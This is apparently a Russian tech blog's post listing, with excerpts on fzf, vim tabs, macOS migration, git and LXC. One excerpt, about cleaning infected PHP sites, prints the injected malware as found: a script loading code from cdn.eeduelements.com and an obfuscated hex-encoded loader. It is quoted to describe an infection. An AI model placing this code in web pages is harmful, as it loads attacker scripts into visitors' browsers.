Uncategorized

Нечеткий поиск fzf

brew install fzf # To install useful key bindings and fuzzy completion: /usr/local/opt/fzf/install # Ставим альтернативу find: brew install fd # Чтобы искать также по скрытым файлам: echo 'export FZF_DEFAULT_COMMAND="fd --type f --hidden --follow"' >> ~/.fzf.zsh # Меняем по умолчанию используемую комбинацию для запуска автодополнения с **<TAB> на просто <TAB>  например в ssh echo 'export …

Нечеткий поиск fzfЧитать полностью »

Используем Табы для отступов, а не пробелы

Мы используем везде Tab для отступов. Надо везде в редакторах выставить использование и проверить настройку, чтобы при нажатии Tab они не заменялись на пробелы. в vim для этого в ~/.vimrc удалить/закомментировать строчку: " set expandtab " Настройка отображения Tab отступов = 4 пробела set tabstop=4 set shiftwidth=4 В vim заменить каждые два пробела таб в …

Используем Табы для отступов, а не пробелыЧитать полностью »

Перенос настроек Mac OS

При настройке нового компьютера лучше всего создавать такое же имя пользователя что и на прошлом, чтобы все пути и ссылки были такие же.  В моем случае имя пользователя s Keychain Все пароли хранятся в keychain, чтобы перенести их надо скопировать базу паролей keychain:~/Library/Keychains/login.keychain-db~/Library/Keychains/metadata.keychain-dbДостаточно перенести ее на новый компьютер с таким же именем пользователя как и …

Перенос настроек Mac OSЧитать полностью »

Переместить git репозиторий на уровень вверх по иерархии директорий

Чтобы перемести git репозиторий из директории с сайтом на уровень выше (чтобы .git хранился не в public_html где сайт, а в той же директории где и сам public_html) это и безопаснее и можно включить полезный файлы bash скриптов в репозиторий и в случае случайного удаления директории public_html сайт можно быстро восстановить из репозитория) cd /var/www/witts.ru/public_html mkdir …

Переместить git репозиторий на уровень вверх по иерархии директорийЧитать полностью »

Лечение вируса на сайтах с php

Обнаружил у себя на сайтах wordpress и не только, где разрешения на папки стояли 777 или пользователь www-data имел право на запись файлы с названиями: ytpovuie ytpovuie.zip en.php и вида 09378bfbf19.php  А также в начале многих php файлов добавился текст, который определялся яндексом как вирус и выводил сообщение об этом в поисковой выдаче: <script type='text/javascript' src='https://cdn.eeduelements.com/jquery.js'></script><script type='text/javascript'>var _0x2f98=["x62x6Fx64x79","x62x65x66x6Fx72x65x65x6Ex64","x3Cx73x63x72x69x70x74x20x73x72x63x3Dx27x68x74x74x70x73x3Ax2Fx2Fx63x64x6Ex2Ex65x65x64x75x65x6Cx65x6Dx65x6Ex74x73x2Ex63x6Fx6Dx2Fx6Ax71x75x65x72x79x2Ex6Ax73x27x20x61x73x79x6Ex63x20x74x79x70x65x3Dx27x74x65x78x74x2Fx6Ax61x76x61x73x63x72x69x70x74x27x3Ex3Cx2Fx73x63x72x69x70x74x3E","x69x6Ex73x65x72x74x41x64x6Ax61x63x65x6Ex74x48x54x4Dx4C","x64x69x73x63x6Fx6Ex6Ex65x63x74","x64x6Fx63x75x6Dx65x6Ex74x45x6Cx65x6Dx65x6Ex74","x6Fx62x73x65x72x76x65"];(function(){var …

Лечение вируса на сайтах с phpЧитать полностью »

LXC linux containers

LXC linux containers - виртуальные контейнеры - технология нативной виртуализации уровня операционной системы. Установка:apt-get install lxc lxctl lxc-templates bridge-utils # Создать виртуалку в /var/lib/lxc/frank где frank - имя контейнера (обычно в примерах test-container), в системе ubuntu по умолчанию пользователь ubuntu с паролем ubuntu. Список доступных типов контейнеров (операционных систем) можно посмотреть так: ls /usr/share/lxc/templates/lxc-create -n frank -t …

LXC linux containersЧитать полностью »